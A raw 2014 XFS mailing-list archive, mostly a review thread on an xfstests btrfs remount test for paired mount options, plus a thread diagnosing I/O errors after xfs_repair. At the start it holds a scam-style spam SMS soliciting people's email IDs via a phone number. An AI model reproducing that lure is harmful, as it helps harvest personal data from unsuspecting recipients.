TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144021 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) Hi! You have 3 Missed calls from the sender of this sms. Last call: 2013.12.20 24:44 Missed call eSMS from 8460578357 Please SMS 8460578357 with your email id for details To stop getting these robot automated reminders SMS 8460578357 with NO_eSMS From quwenruo@cn.fujitsu.com Sun Jan 12 19:20:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A059329DF8 for ; Sun, 12 Jan 2014 19:20:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 236E5AC001 for ; Sun, 12 Jan 2014 17:20:42 -0800 (PST) X-ASG-Debug-ID: 1389576036-04cbb04168d701e0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id loaEkcFC7I5TBXc7 for ; Sun, 12 Jan 2014 17:20:37 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,649,1384272000"; d="scan'208";a="9407553" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 13 Jan 2014 09:16:56 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s0D1KYK4006879; Mon, 13 Jan 2014 09:20:34 +0800 Received: from [172.16.0.100] ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014011309192135-1012789 ; Mon, 13 Jan 2014 09:19:21 +0800 Message-ID: <52D33F92.2000609@cn.fujitsu.com> Date: Mon, 13 Jan 2014 09:21:22 +0800 From: Qu Wenruo User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com CC: Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test In-Reply-To: <52D01CA9.4040107@sandeen.net> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 09:19:21, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/13 09:19:26, Serialize complete at 2014/01/13 09:19:26 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1389576036 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144023 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On fri, 10 Jan 2014 10:15:37 -0600, Eric Sandeen wrote: > On 1/8/14, 12:30 AM, Qu Wenruo wrote: >> Test remount btrfs with different pairing options like barrier and no barrier. > It seems that while this tests that the remount succeeds, and that > the option string is present in /proc/mounts, it does not test that > the mount option is actually in effect. Yes, this is what the new test case is intended to do. This case was just a test case tests the mount options themselves to ensure all the pairing mount options works during remounting, since most pairing options are missing before. > > I suppose for many of these options that would be hard to test; for > i.e. acl though it should be trivial. > > What do you think, is this enough to ensure that remount handling > is working as expected for all of these options? In my opinion, this test should just focuses on the remount handling and the pairing options. For the detailed function should be examineed in other test cases. Also, most of the pairing options are instructive, and some may not be in effect before next transaction (for the incomming noinode_cache options), so I think is OK for just examining the options and remount handling for now. Thanks Qu > > Thanks, > -Eric > >> Mainly used to test the following comming btrfs kernel commit:(Not in >> mainline yet) >> 8dd6d2c btrfs: Add treelog mount option. >> f1eccd3 btrfs: Add datasum mount option. >> aad3269 btrfs: Add datacow mount option. >> 22bab74 btrfs: Add acl mount option. >> 170e45e btrfs: Add noflushoncommit mount option. >> ce41bc9 btrfs: Add noenospc_debug mount option. >> f3c639b btrfs: Add nodiscard mount option. >> 962cbee btrfs: Add noautodefrag mount option. >> 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" >> >> Signed-off-by: Qu Wenruo >> Cc: Eric Sandeen >> --- >> tests/btrfs/025 | 125 ++++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/025.out | 2 + >> tests/btrfs/group | 1 + >> 3 files changed, 128 insertions(+) >> create mode 100755 tests/btrfs/025 >> create mode 100644 tests/btrfs/025.out >> >> diff --git a/tests/btrfs/025 b/tests/btrfs/025 >> new file mode 100755 >> index 0000000..014da19 >> --- /dev/null >> +++ b/tests/btrfs/025 >> @@ -0,0 +1,125 @@ >> +#!/bin/bash >> +# Btrfs QA test No. 025 >> +# >> +# Check for paired btrfs mount options >> +# >> +# Regression test for the following btrfs commits >> +# 8dd6d2c btrfs: Add treelog mount option. >> +# f1eccd3 btrfs: Add datasum mount option. >> +# aad3269 btrfs: Add datacow mount option. >> +# 22bab74 btrfs: Add acl mount option. >> +# 170e45e btrfs: Add noflushoncommit mount option. >> +# ce41bc9 btrfs: Add noenospc_debug mount option. >> +# f3c639b btrfs: Add nodiscard mount option. >> +# 962cbee btrfs: Add noautodefrag mount option. >> +# 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" >> +# >> +#----------------------------------------------------------------------- >> +# Copyright (c) 2014 Fujitsu, Inc. All Rights Reserved. >> +# >> +# This program is free software; you can redistribute it and/or >> +# modify it under the terms of the GNU General Public License as >> +# published by the Free Software Foundation. >> +# >> +# This program is distributed in the hope that it would be useful, >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> +# GNU General Public License for more details. >> +# >> +# You should have received a copy of the GNU General Public License >> +# along with this program; if not, write the Free Software Foundation, >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> +#----------------------------------------------------------------------- >> +# >> + >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +status=0 # success is the default! >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> + >> +PAIRING_OPTIONS="autodefrag noautodefrag discard nodiscard enospc_debug noenospc_debug flushoncommit noflushoncommit noacl acl nobarrier barrier nodatacow datacow nodatasum datasum notreelog treelog space_cache nospace_cache ssd nossd" >> + >> +# options that does not show in mount options >> +HIDDEN_OPTIONS="noautodefrag nodiscard noenospc_debug noflushoncommit acl barrier datacow datasum treelog nossd" >> +_cleanup() >> +{ >> + rm $tmp.running &> /dev/null >> + wait >> + cd / >> + _scratch_unmount &> /dev/null >> +} >> + >> +# check the mount option >> +check_mount_opt() >> +{ >> + mount_point=$1 >> + expected_opt=$2 >> + >> + mount_opt=`cat /proc/mounts | grep $mount_point | cut -d\ -f4` >> + if grep $2 $mount_opt; then >> + _fail "test failed: expected $expected_opt option not shown in mount options" >> + fi >> +} >> + >> +# background noise >> +start_bgnoise() >> +{ >> + touch $tmp.running >> + while [ -f "$tmp.running" ]; do >> + run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n 500 -p 4 >> + if [ $? != 0 ]; then >> + _fail "Some error happened executing fsstress when remounting" >> + fi >> + done & >> + noise_pid=`jobs -p %1` >> + echo $noise_pid > $tmp.running >> +} >> + >> +stop_bgnoise() >> +{ >> + pid=`cat $tmp.running` >> + rm $tmp.running >> + wait $pid >> +} >> + >> +# get standard environment, filters >> +. ./common/rc >> +. ./common/filter >> + >> +# real QA test starts here >> +_supported_fs btrfs >> +_supported_os Linux >> + >> +_need_to_be_root >> +_require_scratch >> + >> +# no need to use the original mount options >> +unset MOUNT_OPTIONS >> + >> +_scratch_mkfs > /dev/null 2>&1 >> +_scratch_mount >> + >> +start_bgnoise >> +for remount_opt in $PAIRING_OPTIONS; do >> + # Sleep for a while ensuring fsstress to do enough stress >> + sleep 1 >> + _remount $SCRATCH_MNT $remount_opt >> + if [ $? != 0 ]; then >> + stop_bgnoise >> + _fail "test failed: $remount_opt not supported" >> + fi >> + if [[ ! $HIDDEN_OPTIONS =~ $remount ]]; then >> + check_mount_opt $SCRATCH_MNT $remount_opt >> + >> + # Special check for nodatacow >> + if [ $remount_opt == "nodatacow" ]; then >> + check_mount_opt $SCRATCH_MNT nodatasum >> + fi >> + fi >> +done >> +stop_bgnoise >> +_scratch_unmount || _fail "umount failed" >> +echo "Silence is golden" >> +status=0; exit >> diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out >> new file mode 100644 >> index 0000000..3d70951 >> --- /dev/null >> +++ b/tests/btrfs/025.out >> @@ -0,0 +1,2 @@ >> +QA output created by 025 >> +Silence is golden >> diff --git a/tests/btrfs/group b/tests/btrfs/group >> index 87e7bca..1a4dad8 100644 >> --- a/tests/btrfs/group >> +++ b/tests/btrfs/group >> @@ -27,3 +27,4 @@ >> 022 auto >> 023 auto >> 024 auto quick >> +025 auto quick >> > -- > To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > From sandeen@sandeen.net Sun Jan 12 19:35:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0AAC329DF8 for ; Sun, 12 Jan 2014 19:35:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D6FB5304051 for ; Sun, 12 Jan 2014 17:35:55 -0800 (PST) X-ASG-Debug-ID: 1389576954-04cbb04169d708d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id U2GrZSqEhgrff32w for ; Sun, 12 Jan 2014 17:35:54 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 25C6963C3BD0; Sun, 12 Jan 2014 19:35:46 -0600 (CST) Message-ID: <52D342F0.5020402@sandeen.net> Date: Sun, 12 Jan 2014 19:35:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Qu Wenruo , xfs@oss.sgi.com CC: Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test In-Reply-To: <52D33F92.2000609@cn.fujitsu.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389576954 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144023 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/12/14, 7:21 PM, Qu Wenruo wrote: > On fri, 10 Jan 2014 10:15:37 -0600, Eric Sandeen wrote: >> On 1/8/14, 12:30 AM, Qu Wenruo wrote: >>> Test remount btrfs with different pairing options like barrier and no barrier. >> It seems that while this tests that the remount succeeds, and that >> the option string is present in /proc/mounts, it does not test that >> the mount option is actually in effect. > > Yes, this is what the new test case is intended to do. > This case was just a test case tests the mount options themselves > to ensure all the pairing mount options works during remounting, > since most pairing options are missing before. >> >> I suppose for many of these options that would be hard to test; for >> i.e. acl though it should be trivial. >> >> What do you think, is this enough to ensure that remount handling >> is working as expected for all of these options? > In my opinion, this test should just focuses on the remount handling and > the pairing options. > For the detailed function should be examineed in other test cases. Except those won't test that a remount with those options actually *worked*; in fact they don't do remount at all. In other words, all this does is test that an option flag was set or unset in the superblock, but it doesn't really test whether the option has been properly set up (or torn down) as a result. I won't say no to this, but it seems to be of somewhat limited use. -Eric > Also, most of the pairing options are instructive, > and some may not be in effect before next transaction (for the incomming noinode_cache options), > so I think is OK for just examining the options and remount handling for now. > > Thanks > Qu >> >> Thanks, >> -Eric >> >>> Mainly used to test the following comming btrfs kernel commit:(Not in >>> mainline yet) >>> 8dd6d2c btrfs: Add treelog mount option. >>> f1eccd3 btrfs: Add datasum mount option. >>> aad3269 btrfs: Add datacow mount option. >>> 22bab74 btrfs: Add acl mount option. >>> 170e45e btrfs: Add noflushoncommit mount option. >>> ce41bc9 btrfs: Add noenospc_debug mount option. >>> f3c639b btrfs: Add nodiscard mount option. >>> 962cbee btrfs: Add noautodefrag mount option. >>> 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" >>> >>> Signed-off-by: Qu Wenruo >>> Cc: Eric Sandeen >>> --- >>> tests/btrfs/025 | 125 ++++++++++++++++++++++++++++++++++++++++++++++++++++ >>> tests/btrfs/025.out | 2 + >>> tests/btrfs/group | 1 + >>> 3 files changed, 128 insertions(+) >>> create mode 100755 tests/btrfs/025 >>> create mode 100644 tests/btrfs/025.out >>> >>> diff --git a/tests/btrfs/025 b/tests/btrfs/025 >>> new file mode 100755 >>> index 0000000..014da19 >>> --- /dev/null >>> +++ b/tests/btrfs/025 >>> @@ -0,0 +1,125 @@ >>> +#!/bin/bash >>> +# Btrfs QA test No. 025 >>> +# >>> +# Check for paired btrfs mount options >>> +# >>> +# Regression test for the following btrfs commits >>> +# 8dd6d2c btrfs: Add treelog mount option. >>> +# f1eccd3 btrfs: Add datasum mount option. >>> +# aad3269 btrfs: Add datacow mount option. >>> +# 22bab74 btrfs: Add acl mount option. >>> +# 170e45e btrfs: Add noflushoncommit mount option. >>> +# ce41bc9 btrfs: Add noenospc_debug mount option. >>> +# f3c639b btrfs: Add nodiscard mount option. >>> +# 962cbee btrfs: Add noautodefrag mount option. >>> +# 0b4fa2a btrfs: Add "barrier" option to support "-o remount,barrier" >>> +# >>> +#----------------------------------------------------------------------- >>> +# Copyright (c) 2014 Fujitsu, Inc. All Rights Reserved. >>> +# >>> +# This program is free software; you can redistribute it and/or >>> +# modify it under the terms of the GNU General Public License as >>> +# published by the Free Software Foundation. >>> +# >>> +# This program is distributed in the hope that it would be useful, >>> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >>> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >>> +# GNU General Public License for more details. >>> +# >>> +# You should have received a copy of the GNU General Public License >>> +# along with this program; if not, write the Free Software Foundation, >>> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >>> +#----------------------------------------------------------------------- >>> +# >>> + >>> +seq=`basename $0` >>> +seqres=$RESULT_DIR/$seq >>> +echo "QA output created by $seq" >>> + >>> +status=0 # success is the default! >>> +trap "_cleanup; exit \$status" 0 1 2 3 15 >>> + >>> +PAIRING_OPTIONS="autodefrag noautodefrag discard nodiscard enospc_debug noenospc_debug flushoncommit noflushoncommit noacl acl nobarrier barrier nodatacow datacow nodatasum datasum notreelog treelog space_cache nospace_cache ssd nossd" >>> + >>> +# options that does not show in mount options >>> +HIDDEN_OPTIONS="noautodefrag nodiscard noenospc_debug noflushoncommit acl barrier datacow datasum treelog nossd" >>> +_cleanup() >>> +{ >>> + rm $tmp.running &> /dev/null >>> + wait >>> + cd / >>> + _scratch_unmount &> /dev/null >>> +} >>> + >>> +# check the mount option >>> +check_mount_opt() >>> +{ >>> + mount_point=$1 >>> + expected_opt=$2 >>> + >>> + mount_opt=`cat /proc/mounts | grep $mount_point | cut -d\ -f4` >>> + if grep $2 $mount_opt; then >>> + _fail "test failed: expected $expected_opt option not shown in mount options" >>> + fi >>> +} >>> + >>> +# background noise >>> +start_bgnoise() >>> +{ >>> + touch $tmp.running >>> + while [ -f "$tmp.running" ]; do >>> + run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n 500 -p 4 >>> + if [ $? != 0 ]; then >>> + _fail "Some error happened executing fsstress when remounting" >>> + fi >>> + done & >>> + noise_pid=`jobs -p %1` >>> + echo $noise_pid > $tmp.running >>> +} >>> + >>> +stop_bgnoise() >>> +{ >>> + pid=`cat $tmp.running` >>> + rm $tmp.running >>> + wait $pid >>> +} >>> + >>> +# get standard environment, filters >>> +. ./common/rc >>> +. ./common/filter >>> + >>> +# real QA test starts here >>> +_supported_fs btrfs >>> +_supported_os Linux >>> + >>> +_need_to_be_root >>> +_require_scratch >>> + >>> +# no need to use the original mount options >>> +unset MOUNT_OPTIONS >>> + >>> +_scratch_mkfs > /dev/null 2>&1 >>> +_scratch_mount >>> + >>> +start_bgnoise >>> +for remount_opt in $PAIRING_OPTIONS; do >>> + # Sleep for a while ensuring fsstress to do enough stress >>> + sleep 1 >>> + _remount $SCRATCH_MNT $remount_opt >>> + if [ $? != 0 ]; then >>> + stop_bgnoise >>> + _fail "test failed: $remount_opt not supported" >>> + fi >>> + if [[ ! $HIDDEN_OPTIONS =~ $remount ]]; then >>> + check_mount_opt $SCRATCH_MNT $remount_opt >>> + >>> + # Special check for nodatacow >>> + if [ $remount_opt == "nodatacow" ]; then >>> + check_mount_opt $SCRATCH_MNT nodatasum >>> + fi >>> + fi >>> +done >>> +stop_bgnoise >>> +_scratch_unmount || _fail "umount failed" >>> +echo "Silence is golden" >>> +status=0; exit >>> diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out >>> new file mode 100644 >>> index 0000000..3d70951 >>> --- /dev/null >>> +++ b/tests/btrfs/025.out >>> @@ -0,0 +1,2 @@ >>> +QA output created by 025 >>> +Silence is golden >>> diff --git a/tests/btrfs/group b/tests/btrfs/group >>> index 87e7bca..1a4dad8 100644 >>> --- a/tests/btrfs/group >>> +++ b/tests/btrfs/group >>> @@ -27,3 +27,4 @@ >>> 022 auto >>> 023 auto >>> 024 auto quick >>> +025 auto quick >>> >> -- >> To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in >> the body of a message to majordomo@vger.kernel.org >> More majordomo info at http://vger.kernel.org/majordomo-info.html >> > From david@fromorbit.com Sun Jan 12 19:50:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F0A3F29DF8 for ; Sun, 12 Jan 2014 19:50:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DB4D38F804B for ; Sun, 12 Jan 2014 17:50:13 -0800 (PST) X-ASG-Debug-ID: 1389577810-04cb6c537cd69c20001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id axBMnD61Glv3yEmj for ; Sun, 12 Jan 2014 17:50:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AiEXABJF01J5LKVw/2dsb2JhbABAGoMLOIMCowgDjl6FU4EHF3SCJQEBAQQ6HCMQCAMOBgQJJQ8FJQMhE4gDDjbDbBcWjihJB4MkgRMEmBaKTIdKg0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 13 Jan 2014 12:20:09 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2WfH-0001F8-Cb; Mon, 13 Jan 2014 12:50:07 +1100 Date: Mon, 13 Jan 2014 12:50:07 +1100 From: Dave Chinner To: Zachary Kotlarek Cc: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140113015007.GC3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389577811 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Sun, Jan 12, 2014 at 11:53:59AM -0800, Zachary Kotlarek wrote: > > On Jan 12, 2014, at 10:47 AM, Stan Hoeppner wrote: > > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > > > If this is due to a bug it may have already been fixed. Note the first > > two things asked for. > > > Thanks for the pointer. > > My kernels a bit old, but xfsprogs is shiny and new: > Linux vera 2.6.39.2 #1 SMP Fri Sep 30 23:55:41 PDT 2011 x86_64 x86_64 x86_64 GNU/Linux > xfs_repair version 3.1.11 > > 2x4 core CPUs > 8 GB RAM, mostly free (more than 6 GB cached) > > Related mount: > /dev/lvmsas/tv /mnt/media/TV xfs rw,nosuid,nodev,noexec,relatime,attr2,delaylog,inode64,sunit=1024,swidth=4096,noquota 0 0 > > Underlying partition: > 254 31 16252928000 dm-31 > > Which is a no-frills LVM2 volume allocation over mdadm raid-6. > > meta-data=/dev/lvmsas/tv isize=256 agcount=33, agsize=126975872 blks > = sectsz=512 attr=2 > data = bsize=4096 blocks=4063232000, imaxpct=5 > = sunit=128 swidth=512 blks > naming =version 2 bsize=4096 ascii-ci=1 > log =internal bsize=4096 blocks=521728, version=2 > = sectsz=512 sunit=8 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 > > Attempts to access the now-busted files/directories with accents in their paths result in a kernel log like: > Jan 11 02:05:39 vera XFS (dm-31): I/O error occurred: meta-data dev dm-31 block 0x3c8ff73e0 ("xfs_trans_read_buf") error 11 buf count 4096 error 11 = EAGAIN/EWOULDBLOCK That tends to imply that there's some interesting error occurring in the layers below XFS here. XFS on a kernel that old is not expecting an EAGAIN error from storage, so it is likely not being captured properly. There have been bugs in the raid/dm code in the past that would cause issues like this, and bugs in the XFS error handling that allowed them to slip throw and shut down the filesystem. For example, this fix made in March 2013: $ gl -n1 -p c163f9a commit c163f9a1760229a95d04e37b332de7d5c1c225cd Author: Dave Chinner Date: Tue Mar 12 23:30:34 2013 +1100 xfs: ensure we capture IO errors correctly Failed buffer readahead can leave the buffer in the cache marked with an error. Most callers that then issue a subsequent read on the buffer do not zero the b_error field out, and so we may incorectly detect an error during IO completion due to the stale error value left on the buffer. Avoid this problem by zeroing the error before IO submission. This ensures that the only IO errors that are detected those captured from are those captured from bio submission or completion. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers Is probably relevant, but there are many more changes up and down the stack that may be the cause of your problem. Indeed, the above fix may simply turn EAGAIN into EIO because there really is something wrong with that block on disk.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jan 12 19:52:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DCE3B29DF8 for ; Sun, 12 Jan 2014 19:52:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5ACE0AC001 for ; Sun, 12 Jan 2014 17:52:43 -0800 (PST) X-ASG-Debug-ID: 1389577960-04cbb04167d70f60001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id iHSvzWANHNFELJUM for ; Sun, 12 Jan 2014 17:52:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJADlG01J5LKVw/2dsb2JhbABagwuDOrFphVOBBxd0giUBAQEEOhwjEAgDGAklDwUlAyETiAPEMBcWjhlYB4MkgRMEmBaSFoNBKIEs Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 13 Jan 2014 12:22:40 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2Whj-0001FX-3S; Mon, 13 Jan 2014 12:52:39 +1100 Date: Mon, 13 Jan 2014 12:52:39 +1100 From: Dave Chinner To: Eric Sandeen Cc: Qu Wenruo , xfs@oss.sgi.com, Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test Message-ID: <20140113015239.GD3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> <52D342F0.5020402@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D342F0.5020402@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389577961 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jan 12, 2014 at 07:35:44PM -0600, Eric Sandeen wrote: > On 1/12/14, 7:21 PM, Qu Wenruo wrote: > > On fri, 10 Jan 2014 10:15:37 -0600, Eric Sandeen wrote: > >> On 1/8/14, 12:30 AM, Qu Wenruo wrote: > >>> Test remount btrfs with different pairing options like barrier and no barrier. > >> It seems that while this tests that the remount succeeds, and that > >> the option string is present in /proc/mounts, it does not test that > >> the mount option is actually in effect. > > > > Yes, this is what the new test case is intended to do. > > This case was just a test case tests the mount options themselves > > to ensure all the pairing mount options works during remounting, > > since most pairing options are missing before. > >> > >> I suppose for many of these options that would be hard to test; for > >> i.e. acl though it should be trivial. > >> > >> What do you think, is this enough to ensure that remount handling > >> is working as expected for all of these options? > > In my opinion, this test should just focuses on the remount handling and > > the pairing options. > > For the detailed function should be examineed in other test cases. > > Except those won't test that a remount with those options actually *worked*; > in fact they don't do remount at all. > > In other words, all this does is test that an option flag was set or unset in > the superblock, but it doesn't really test whether the option has been > properly set up (or torn down) as a result. > > I won't say no to this, but it seems to be of somewhat limited use. What happens to the test when mount options are deprecated/removed? How are we going to handle the matrix of testable/untestable mount options across kernels with different mount option support? Cheers, Dave. -- Dave Chinner david@fromorbit.com From quwenruo@cn.fujitsu.com Sun 